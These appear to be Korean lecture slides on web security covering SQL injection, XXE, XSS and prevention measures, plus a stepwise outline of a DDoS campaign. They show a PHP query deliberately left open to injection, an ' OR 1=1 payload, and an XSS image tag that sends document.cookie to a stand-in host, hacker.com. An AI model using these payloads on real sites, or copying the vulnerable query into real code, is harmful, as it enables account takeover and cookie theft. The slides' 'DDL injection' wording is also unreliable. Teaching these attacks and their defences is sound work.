5. 인젝션(삽입)
• 환경변수, 파라미터, 내/외부 웹 서비스 등의 데이터 소스를 이용한 공격기법
• SQL 인젝션(악의적 쿼리를 조작해 날려 데이터베이스를 비정상적으로 조작)
• DDL 인젝션(다른 프로세스의 주소공간내에서 DDL 파일을 강제로드) - 외부프로그
램 사용
$username = $_POST[“username”];
$password = $_POST[“password”];
$mysqli->query("SELECT * FROM users WHERE username='{$username}' AND
password=‘{$password}’");
————————————————————————————————————————————————————————————————————
+ password' OR 1=1
6. 인젝션(삽입) 예방
• 매개변수화된 인터페이스를 제공하는 안전한 API를 사용
하거나 ORMs 툴을 사용하도록 마이그레이션 하는 것
• 서버측 “화이트리스트”나 적극적인 입력값 유효성 검증
• 남은 동적 쿼리들을 위하여 특정 필터링 구문을 사용하여
인터프리터에 대한 특수 문자를 필터링 처리
8. XXE(Xml eXternal Entity) 예방
• 애플리케이션이나 운영체제에서 사용중인 모든 XML 프로
세서와 라이브러리를 패치하거나 업그레이드
• JSON과 같은 덜 복잡한 데이터 형식을 사용
• XML이나 XSL 파일 업로드 기능이 XSD 검증기 같은 것을
사용해서 XML이 유효한 내용인지 확인하고 검증
9. XSS(Cross-Site Scripting)
• 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입
• 애플리케이션에서 브라우저로 전송하는 페이지에서 사용자가 입력하는 데이터
를 검증하지 않거나, 출력 시 위험 데이터를 무효화 시키지 않을 때 발생
<p><?php echo htmlspecialchars($name); ?>님의 말: </p>
<?php echo $content; ?>
————————————————————————————————————————————————————————-
<p>Hello! I am a hacker.</p>
<img src="#" width="0" height="0"
onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURI
Component(document.cookie);" />
10. XSS(Cross-Site Scripting) 예방
• 최신 Ruby on Rails, React JS와 같이 XSS를 자동으로 필
터링 처리하는 프레임워크를 사용
• 특수문자(<, >, ;, ...)에 대해서 지정된 HTML Entity 문자로
치환시켜 특정 동적함수를 실행하지 못하게 방지
12. DDOS(Distributed DoS) 공격순서
• (1) 관리자가 모든 시스템을 세세하게 관리할 수 없는 곳에 계정을
획득하여 스니핑이나 스푸핑, 버퍼 오버플로우 등의 공격으
로 설치 권한이나 루트 권한을 획득
• (2) 잠재적인 공격 대상을 파악하기 위해 네트워크 블록 별로 스캐
닝을 실시하여 원격지에서 버퍼 오버플로우를 일으킬 수 있는 취
약한 서비스를 제공하는 서버를 파악한다.
• (3) 취약한 시스템의 리스트를 확인한 뒤, 실제 공격을 위한 Exploit
를 작성
• (4) 권한을 획득한 시스템에 침투하여 Exploit를 컴파일하여 설치
한다.
• (5) 설치한 Exploit로 공격을 시작한다.